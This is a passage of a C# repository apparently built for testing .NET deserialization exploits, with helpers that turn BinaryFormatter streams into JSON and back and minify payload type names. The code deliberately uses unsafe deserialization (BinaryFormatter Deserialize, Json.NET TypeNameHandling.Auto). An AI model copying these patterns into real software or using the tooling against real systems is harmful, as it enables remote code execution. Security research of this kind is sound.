├── .gitignore ├── App.config ├── FodyWeavers.xml ├── ModifiedVulnerableBinaryFormatters ├── AdvancedBinaryFormatterParser.cs ├── BinaryFormatterMinifier.cs ├── Environment.cs ├── ObjectExtensions.cs ├── SerTrace.cs ├── SimpleBinaryFormatterParser.cs ├── SimpleObjectLosFormatter.cs ├── binarycommonclasses.cs ├── binaryconverter.cs ├── binaryenums.cs ├── binaryformatter.cs ├── binaryformatterwriter.cs ├── binarymethodmessage.cs ├── binaryobjectinfo.cs ├── binaryobjectreader.cs ├── binaryobjectwriter.cs ├── binaryparser.cs └── binaryutilclasses.cs ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── README.md ├── packages.config ├── suo_exploit_test.csproj └── suo_exploit_test.sln /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /FodyWeavers.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/AdvancedBinaryFormatterParser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Collections.Generic; 4 | using System.Runtime.Serialization.Formatters; 5 | using System.Runtime.Serialization; 6 | using System.Text; 7 | using System.Text.RegularExpressions; 8 | 9 | namespace suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters 10 | { 11 | public class AdvancedBinaryFormatterParser 12 | { 13 | public static String StreamToJson(Stream serializationStream) 14 | { 15 | return StreamToJson(serializationStream, false, false, true); 16 | } 17 | 18 | public static String StreamToJson(Stream serializationStream, bool ignoreErrors, bool enableIndent, bool keepInfoFields) 19 | { 20 | return AdvancedBinaryFormatterObjectToJson(StreamToAdvancedBinaryFormatterObject(serializationStream, ignoreErrors), enableIndent, keepInfoFields); 21 | } 22 | 23 | public static List StreamToAdvancedBinaryFormatterObject(Stream serializationStream) 24 | { 25 | return StreamToAdvancedBinaryFormatterObject(serializationStream, false); 26 | } 27 | 28 | public static List StreamToAdvancedBinaryFormatterObject(Stream serializationStream, bool ignoreErrors) 29 | { 30 | if (serializationStream.CanRead) 31 | serializationStream.Position = 0; 32 | 33 | InternalFE formatterEnums = new InternalFE(); 34 | formatterEnums.FEtypeFormat = FormatterTypeStyle.TypesAlways; 35 | formatterEnums.FEserializerTypeEnum = InternalSerializerTypeE.Binary; 36 | formatterEnums.FEassemblyFormat = FormatterAssemblyStyle.Simple; 37 | formatterEnums.FEsecurityLevel = TypeFilterLevel.Low; 38 | ISurrogateSelector m_surrogates = null; 39 | StreamingContext m_context = new StreamingContext(StreamingContextStates.All); 40 | SerializationBinder m_binder = null; 41 | //bool fCheck = false; 42 | //HeaderHandler handler = null; 43 | 44 | ObjectReader objectReader = new ObjectReader(serializationStream, m_surrogates, m_context, formatterEnums, m_binder); 45 | __BinaryParser serParser = new __BinaryParser(serializationStream, objectReader); 46 | //BinaryReader dataReader = new BinaryReader(serializationStream, new UTF8Encoding(false, true)); 47 | 48 | return serParser.RunModifiedAdvanced(ignoreErrors); 49 | } 50 | 51 | 52 | public static MemoryStream AdvancedBinaryFormatterObjectToStream(List abfoList) 53 | { 54 | MemoryStream resultMS = new MemoryStream(); 55 | 56 | InternalFE formatterEnums = new InternalFE(); 57 | formatterEnums.FEtypeFormat = FormatterTypeStyle.TypesAlways; 58 | formatterEnums.FEserializerTypeEnum = InternalSerializerTypeE.Binary; 59 | formatterEnums.FEassemblyFormat = FormatterAssemblyStyle.Simple; 60 | formatterEnums.FEsecurityLevel = TypeFilterLevel.Low; 61 | ISurrogateSelector m_surrogates = null; 62 | StreamingContext m_context = new StreamingContext(StreamingContextStates.All); 63 | SerializationBinder m_binder = null; 64 | //bool fCheck = false; 65 | //HeaderHandler handler = null; 66 | 67 | ObjectWriter objectWriter = new ObjectWriter(m_surrogates, m_context, formatterEnums, m_binder); 68 | __BinaryWriter binaryWriter = new __BinaryWriter(resultMS, objectWriter, formatterEnums.FEtypeFormat); 69 | 70 | List asmArray = new List(); 71 | foreach (AdvancedBinaryFormatterObject abfo in abfoList) 72 | { 73 | var currentObjInfo = abfo.Data; 74 | if(currentObjInfo.GetType() == typeof(BinaryObjectWithMapTyped)) 75 | { 76 | if (currentObjInfo.binaryHeaderEnum == BinaryHeaderEnum.ObjectWithMapTypedAssemId) 77 | { 78 | if (asmArray.IndexOf(currentObjInfo.assemId) == -1 && currentObjInfo.assemId != 0) 79 | { 80 | asmArray.Add(currentObjInfo.assemId); 81 | } 82 | else 83 | { 84 | currentObjInfo.assemId = 0; 85 | } 86 | } 87 | } 88 | 89 | currentObjInfo.Write(binaryWriter); 90 | if(abfo.ArrayBytes != null) 91 | { 92 | // this is for arrays when we have more data: 93 | /* 94 | BinaryHeaderEnum.Array: 95 | BinaryHeaderEnum.ArraySinglePrimitive: 96 | BinaryHeaderEnum.ArraySingleObject: 97 | BinaryHeaderEnum.ArraySingleString: 98 | */ 99 | binaryWriter.WriteBytes(abfo.ArrayBytes); 100 | 101 | } 102 | } 103 | return resultMS; 104 | } 105 | 106 | public static MemoryStream JsonToStream(String jsonNet_str) 107 | { 108 | 109 | String currentNameSpace = typeof(AdvancedBinaryFormatterParser).Namespace; 110 | String mainAssembly = typeof(AdvancedBinaryFormatterParser).Assembly.GetName().Name; 111 | 112 | String pattern = @"([""']\$type[""']:\s*[""'])([^\""'\.\[\] ,=]+)([\""'])"; 113 | jsonNet_str = Regex.Replace(jsonNet_str, pattern, "$1"+ currentNameSpace + ".$2, " + mainAssembly + "$3"); 114 | 115 | List deserialized_obj = (List)Newtonsoft.Json.JsonConvert.DeserializeObject(jsonNet_str, typeof(List), new Newtonsoft.Json.JsonSerializerSettings 116 | { 117 | TypeNameHandling = Newtonsoft.Json.TypeNameHandling.Auto 118 | }); 119 | 120 | return AdvancedBinaryFormatterObjectToStream(deserialized_obj); 121 | } 122 | 123 | public static String AdvancedBinaryFormatterObjectToJson(List abfoList) 124 | { 125 | return AdvancedBinaryFormatterObjectToJson(abfoList, false, true); 126 | } 127 | 128 | public static String AdvancedBinaryFormatterObjectToJson(List abfoList, bool enableIndent, bool keepInfoFields) 129 | { 130 | var defaultFormatting = Newtonsoft.Json.Formatting.None; 131 | if (enableIndent) 132 | { 133 | defaultFormatting = Newtonsoft.Json.Formatting.Indented; 134 | } 135 | 136 | if (!keepInfoFields) 137 | { 138 | foreach(AdvancedBinaryFormatterObject abfo in abfoList) 139 | { 140 | abfo.KeepInfoFieldsForJson = false; 141 | } 142 | } 143 | 144 | String jsonNetStr = Newtonsoft.Json.JsonConvert.SerializeObject(abfoList, typeof(List), defaultFormatting, new Newtonsoft.Json.JsonSerializerSettings 145 | { 146 | TypeNameHandling = Newtonsoft.Json.TypeNameHandling.Auto 147 | }); 148 | 149 | String currentNameSpace = typeof(AdvancedBinaryFormatterParser).Namespace.Replace(".",@"\."); 150 | String mainAssembly = typeof(AdvancedBinaryFormatterParser).Assembly.GetName().Name.Replace(".", @"\."); 151 | 152 | String pattern = @"(""\$type"":\s*"")" + currentNameSpace + @"\.([^,]+),\s*" + mainAssembly; 153 | jsonNetStr = Regex.Replace(jsonNetStr, pattern, "$1$2"); 154 | 155 | if (enableIndent) 156 | { 157 | // removing spaces between array items 158 | jsonNetStr = Regex.Replace(jsonNetStr, @"\:\s*\[[a-z\sA-Z0-9\,\[\]""'\+\._`]+\],", delegate (Match m) { 159 | String finalVal = m.Value; 160 | finalVal = Regex.Replace(finalVal, @"\s+", ""); 161 | return finalVal; 162 | }); 163 | 164 | // removing spaces between non-alphanumerical characters at the beginning of each clause 165 | jsonNetStr = Regex.Replace(jsonNetStr, @"^\s*([^\w""':. ][^\w""']+)+", delegate (Match m) { 166 | String finalVal = m.Value; 167 | finalVal = Regex.Replace(finalVal, @"\s+", ""); 168 | return finalVal; 169 | }, RegexOptions.Multiline); 170 | } 171 | return jsonNetStr; 172 | } 173 | 174 | public static byte[] Calculate7BitEncodedInt(int value) 175 | { 176 | // it cannot be more than 5 bytes according to [MS-NRBF] 177 | byte[] output = new byte[1]; 178 | // Similar to Write7BitEncodedInt from System.IO.BinaryWriter 179 | uint v = (uint)value; 180 | int counter = 0; 181 | 182 | while (v >= 0x80) 183 | { 184 | if (counter > 1) 185 | Array.Resize(ref output, counter + 1); 186 | 187 | output[counter] = ((byte)(v | 0x80)); 188 | v >>= 7; 189 | counter++; 190 | } 191 | 192 | if (counter > 0) 193 | Array.Resize(ref output, counter + 1); 194 | 195 | output[counter] = ((byte)v); 196 | 197 | return output; 198 | } 199 | 200 | public static byte[] Create7bitLengthObjectString(string strInput) 201 | { 202 | byte[] size = Calculate7BitEncodedInt(strInput.Length); 203 | byte[] value = Encoding.UTF8.GetBytes(strInput); 204 | return ConcatTwoByteArrays(size, value); 205 | } 206 | 207 | public static byte[] ConcatTwoByteArrays(byte[] arr1, byte[] arr2) 208 | { 209 | byte[] result = new byte[arr1.Length + arr2.Length]; 210 | Array.Copy(arr1, 0, result, 0, arr1.Length); 211 | Array.Copy(arr2, 0, result, arr1.Length, arr2.Length); 212 | return result; 213 | } 214 | } 215 | 216 | [Serializable] 217 | // The Data property is the only one that matters for serialization/deserialization 218 | public class AdvancedBinaryFormatterObject 219 | { 220 | public AdvancedBinaryFormatterObject() { } 221 | 222 | public AdvancedBinaryFormatterObject(string strType) { 223 | expectedTypeName = strType; 224 | } 225 | 226 | // We keep this in serialization so we can easily point to an item - not needed in reconstruction 227 | public int Id = -1; 228 | 229 | // Not needed in reconstruction but good for information 230 | public string TypeName = ""; 231 | 232 | // Not needed in reconstruction but good for information 233 | public bool IsPrimitive = false; 234 | 235 | [NonSerialized] 236 | // This field can be used to minimize the Json.Net output 237 | // It will not serialize informational items when it is set to false 238 | public bool KeepInfoFieldsForJson = true; 239 | 240 | [NonSerialized] 241 | private dynamic _data; 242 | 243 | // This is for information when debugging 244 | [NonSerialized] 245 | public SimpleBinaryFormatterObject simpleBinaryFormatterObject; 246 | 247 | // This is for information when debugging 248 | [NonSerialized] 249 | public String expectedTypeName; 250 | 251 | // This is for information when debugging as well as being used during reading a binary formatted object 252 | [NonSerialized] 253 | public int ArrayBytesDataRecordLength; 254 | 255 | // this and Data are the only important ones for deserialization really 256 | public byte[] ArrayBytes; 257 | 258 | // This and ArrayBytes are the only important ones for deserialization really 259 | public dynamic Data 260 | { 261 | get 262 | { 263 | return _data; 264 | } 265 | 266 | set 267 | { 268 | //* 269 | object obj = value; 270 | using (var ms = new MemoryStream()) 271 | { 272 | var formatter = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); 273 | formatter.Serialize(ms, obj); 274 | ms.Position = 0; 275 | 276 | obj = formatter.Deserialize(ms); 277 | } 278 | 279 | _data = obj; 280 | 281 | //*/ 282 | //_data = ObjectExtensions.Copy(value); 283 | } 284 | } 285 | 286 | public bool ShouldSerializeIsPrimitive() 287 | { 288 | // don't serialize IsPrimitive when it is not primitive or when KeepInfoFieldsForJson == false 289 | return (IsPrimitive && KeepInfoFieldsForJson); 290 | } 291 | 292 | public bool ShouldSerializeArrayBytes() 293 | { 294 | // don't serialize IsPrimitive when it is not primitive or when KeepInfoFieldsForJson == false 295 | return (ArrayBytes != null); 296 | } 297 | 298 | public bool ShouldSerializeTypeName() 299 | { 300 | // don't serialize IsPrimitive when it is not primitive or when KeepInfoFieldsForJson == false 301 | return (!String.IsNullOrEmpty(TypeName) && KeepInfoFieldsForJson); 302 | } 303 | 304 | public bool ShouldSerializeId() 305 | { 306 | // don't serialize Id when KeepInfoFieldsForJson == false 307 | return (KeepInfoFieldsForJson); 308 | } 309 | 310 | public AdvancedBinaryFormatterObject DeepClone() 311 | { 312 | AdvancedBinaryFormatterObject newAbfo = new AdvancedBinaryFormatterObject(); 313 | 314 | newAbfo.Data = this.Data; 315 | newAbfo.expectedTypeName = this.expectedTypeName; 316 | newAbfo.Id = this.Id; 317 | newAbfo.IsPrimitive = this.IsPrimitive; 318 | newAbfo.simpleBinaryFormatterObject = this.simpleBinaryFormatterObject; 319 | newAbfo.TypeName = this.TypeName; 320 | newAbfo.ArrayBytes = this.ArrayBytes; 321 | newAbfo.ArrayBytesDataRecordLength = this.ArrayBytesDataRecordLength; 322 | return newAbfo; 323 | } 324 | 325 | } 326 | } 327 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/BinaryFormatterMinifier.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json.Linq; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Diagnostics; 5 | using System.IO; 6 | using System.Linq; 7 | using System.Reflection; 8 | using System.Text; 9 | using System.Text.RegularExpressions; 10 | using System.Threading.Tasks; 11 | using suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters; 12 | 13 | namespace suo_exploit_test.Helpers 14 | { 15 | public class BinaryFormatterMinifier 16 | { 17 | public static string FullTypeNameMinifier(string strFullTypeName, string strAssemblyName) 18 | { 19 | if (strAssemblyName == null || strFullTypeName == null) 20 | return strFullTypeName; 21 | 22 | // replacing spaces between things like: 23 | // Foo, Microsoft.IdentityModel, Version=3.5.0.0, PublicKeyToken=31bf3856ad364e35 24 | // clr-namespace:System.Diagnostics; assembly=system 25 | string strFullTypeName_noSpace = System.Text.RegularExpressions.Regex.Replace(strFullTypeName, @"([^\w])[\s]+([\w])", "$1$2"); 26 | strFullTypeName_noSpace = System.Text.RegularExpressions.Regex.Replace(strFullTypeName_noSpace, @"([\w])[\s]+([^\w])", "$1$2"); 27 | strFullTypeName_noSpace = System.Text.RegularExpressions.Regex.Replace(strFullTypeName_noSpace, @"([^\w])[\s]+([^\w])", "$1$2"); 28 | 29 | 30 | string shortenedFullTypeName = System.Text.RegularExpressions.Regex.Replace(strFullTypeName_noSpace, @"\s*,\s*Version=[^,]+,\s*Culture=[^,]+,\s*PublicKeyToken=[a-z0-9]{16}", "", System.Text.RegularExpressions.RegexOptions.IgnoreCase | System.Text.RegularExpressions.RegexOptions.Multiline); 31 | 32 | try 33 | { 34 | var asm = Assembly.Load(strAssemblyName); 35 | if (asm.GetType(shortenedFullTypeName) !=null) 36 | { 37 | strFullTypeName = shortenedFullTypeName; 38 | } 39 | 40 | } 41 | catch 42 | { 43 | strFullTypeName = strFullTypeName_noSpace; 44 | } 45 | 46 | return strFullTypeName; 47 | } 48 | 49 | public static string AssemblyOrTypeNameMinifier(string strInput) 50 | { 51 | if (strInput == null) 52 | return strInput; 53 | 54 | if (!System.Text.RegularExpressions.Regex.IsMatch(strInput, @"[,]\s*Version=[^,]+,\s*Culture=[^,]+,\s*PublicKeyToken=[a-z0-9]{16}")) 55 | { 56 | // does not contain an assembly name 57 | return strInput; 58 | } 59 | 60 | bool isAssemblyString = false; 61 | if (System.Text.RegularExpressions.Regex.IsMatch(strInput, @"^[^,]+\s*[,]\s*Version=[^,]+,\s*Culture=[^,]+,\s*PublicKeyToken=[a-z0-9]{16}$",System.Text.RegularExpressions.RegexOptions.IgnoreCase| System.Text.RegularExpressions.RegexOptions.Multiline)) 62 | { 63 | isAssemblyString = true; 64 | } 65 | 66 | // replacing spaces between things like: 67 | // Microsoft.IdentityModel, Version=3.5.0.0, PublicKeyToken=31bf3856ad364e35 68 | // clr-namespace:System.Diagnostics; assembly=system 69 | string strInput_noSpace = System.Text.RegularExpressions.Regex.Replace(strInput, @"([^\w])[\s]+([\w])", "$1$2"); 70 | strInput_noSpace = System.Text.RegularExpressions.Regex.Replace(strInput_noSpace, @"([\w])[\s]+([^\w])", "$1$2"); 71 | strInput_noSpace = System.Text.RegularExpressions.Regex.Replace(strInput_noSpace, @"([^\w])[\s]+([^\w])", "$1$2"); 72 | 73 | if(IsValid(strInput_noSpace, isAssemblyString)) 74 | { 75 | strInput = strInput_noSpace; 76 | } 77 | 78 | 79 | string strInput_simpleAsm = System.Text.RegularExpressions.Regex.Replace(strInput, @"[,]\s*Version=[^,]+,\s*Culture=[^,]+,\s*PublicKeyToken=[a-z0-9]{16}", "", System.Text.RegularExpressions.RegexOptions.IgnoreCase | System.Text.RegularExpressions.RegexOptions.Multiline); 80 | 81 | if (IsValid(strInput_simpleAsm, isAssemblyString)) 82 | { 83 | strInput = strInput_simpleAsm; 84 | }else if (!isAssemblyString && strInput.Contains("mscorlib")) 85 | { 86 | // we know mscorlib can be used a lot 87 | string strInput_simpleCorlibAsm = System.Text.RegularExpressions.Regex.Replace(strInput, @"mscorlib\s*,\s*Version=[^,]+,\s*Culture=[^,]+,\s*PublicKeyToken=[a-z0-9]{16}", "mscorlib", System.Text.RegularExpressions.RegexOptions.IgnoreCase| System.Text.RegularExpressions.RegexOptions.Multiline); 88 | 89 | if (IsValid(strInput_simpleCorlibAsm, isAssemblyString)) 90 | strInput = strInput_simpleCorlibAsm; 91 | } 92 | 93 | if (strInput.Contains(",mscorlib")) 94 | { 95 | string strInput_removedMSCORLIB = strInput.Replace(",mscorlib", ""); 96 | 97 | if (IsValid(strInput_removedMSCORLIB, isAssemblyString)) 98 | strInput = strInput_removedMSCORLIB; 99 | } 100 | 101 | return strInput; 102 | } 103 | 104 | private static bool IsValid(string strInput, bool isAssemblyString) 105 | { 106 | bool result = false; 107 | 108 | if (isAssemblyString) 109 | { 110 | try 111 | { 112 | if (Assembly.Load(strInput) != null) 113 | result = true; 114 | } 115 | catch { } 116 | } 117 | else 118 | { 119 | try 120 | { 121 | if (Type.GetType(strInput) != null) 122 | result = true; 123 | } 124 | catch { } 125 | 126 | } 127 | 128 | return result; 129 | } 130 | 131 | 132 | 133 | private static StringBuilder DataObjectRemovalTester(ref JArray jsonJArrayObj, string myApp, bool isErrOk, bool showInfo) 134 | { 135 | JArray origJsonJArrayObj = new JArray(jsonJArrayObj.ToList().ToArray()); 136 | string json_shortened = origJsonJArrayObj.ToString(); 137 | bool ruleComplete = false; 138 | 139 | StringBuilder sbSuccessResult = new StringBuilder(); 140 | 141 | // remove a Data object 142 | ruleComplete = false; 143 | int externalCounter = 0; 144 | while (!ruleComplete) 145 | { 146 | int internalCounter = 0; 147 | 148 | foreach (JObject item in origJsonJArrayObj) 149 | { 150 | internalCounter++; 151 | JToken dataItem = item["Data"]; 152 | foreach (JProperty subDataItem in dataItem) 153 | { 154 | string subDataItemName = subDataItem.Name; 155 | JToken subDataItemValue = subDataItem.Value; 156 | JTokenType subDataItemType = subDataItem.Value.Type; 157 | if (subDataItemName.Equals("$type")) 158 | { 159 | if (subDataItemValue.ToString().Equals("MessageEnd")) 160 | { 161 | ruleComplete = true; 162 | } 163 | break; 164 | } 165 | } 166 | 167 | if (!ruleComplete && internalCounter > externalCounter) 168 | { 169 | var currentObjId = item["Data"]["objectId"]; 170 | 171 | string tempValue = item.ToString(); 172 | item.Remove(); 173 | 174 | if (currentObjId != null) 175 | { 176 | // we want to remove objects that have idRef == objectId of our removed item 177 | List refRremovalList = new List(); 178 | foreach (JObject otherItems in origJsonJArrayObj) 179 | { 180 | if (otherItems["Data"]["idRef"] != null) 181 | { 182 | if ((int)otherItems["Data"]["idRef"] == (int)currentObjId) 183 | { 184 | refRremovalList.Add(otherItems); 185 | } 186 | } 187 | } 188 | 189 | foreach (JObject refObject in refRremovalList) 190 | { 191 | refObject.Remove(); 192 | } 193 | } 194 | 195 | if (CheckIfSuccess(origJsonJArrayObj.ToString(), myApp, isErrOk, showInfo)) 196 | { 197 | // it is a success so we can remove it! 198 | // we have to start from the beginning! 199 | externalCounter = 0; 200 | jsonJArrayObj = new JArray(origJsonJArrayObj.ToList().ToArray()); 201 | sbSuccessResult.AppendLine("Successful in removing:" + tempValue); 202 | } 203 | else 204 | { 205 | // we should not remove it 206 | externalCounter = internalCounter; 207 | origJsonJArrayObj = new JArray(jsonJArrayObj.ToList().ToArray()); 208 | } 209 | 210 | break; 211 | } 212 | } 213 | } 214 | 215 | 216 | return sbSuccessResult; 217 | } 218 | 219 | private static StringBuilder DataObjectNullifyTester(ref JArray jsonJArrayObj, string myApp, bool isErrOk, List valueExclusionList, bool showInfo) 220 | { 221 | 222 | JArray origJsonJArrayObj = new JArray(jsonJArrayObj.ToList().ToArray()); 223 | string json_shortened = origJsonJArrayObj.ToString(); 224 | bool ruleComplete = false; 225 | 226 | StringBuilder sbSuccessResult = new 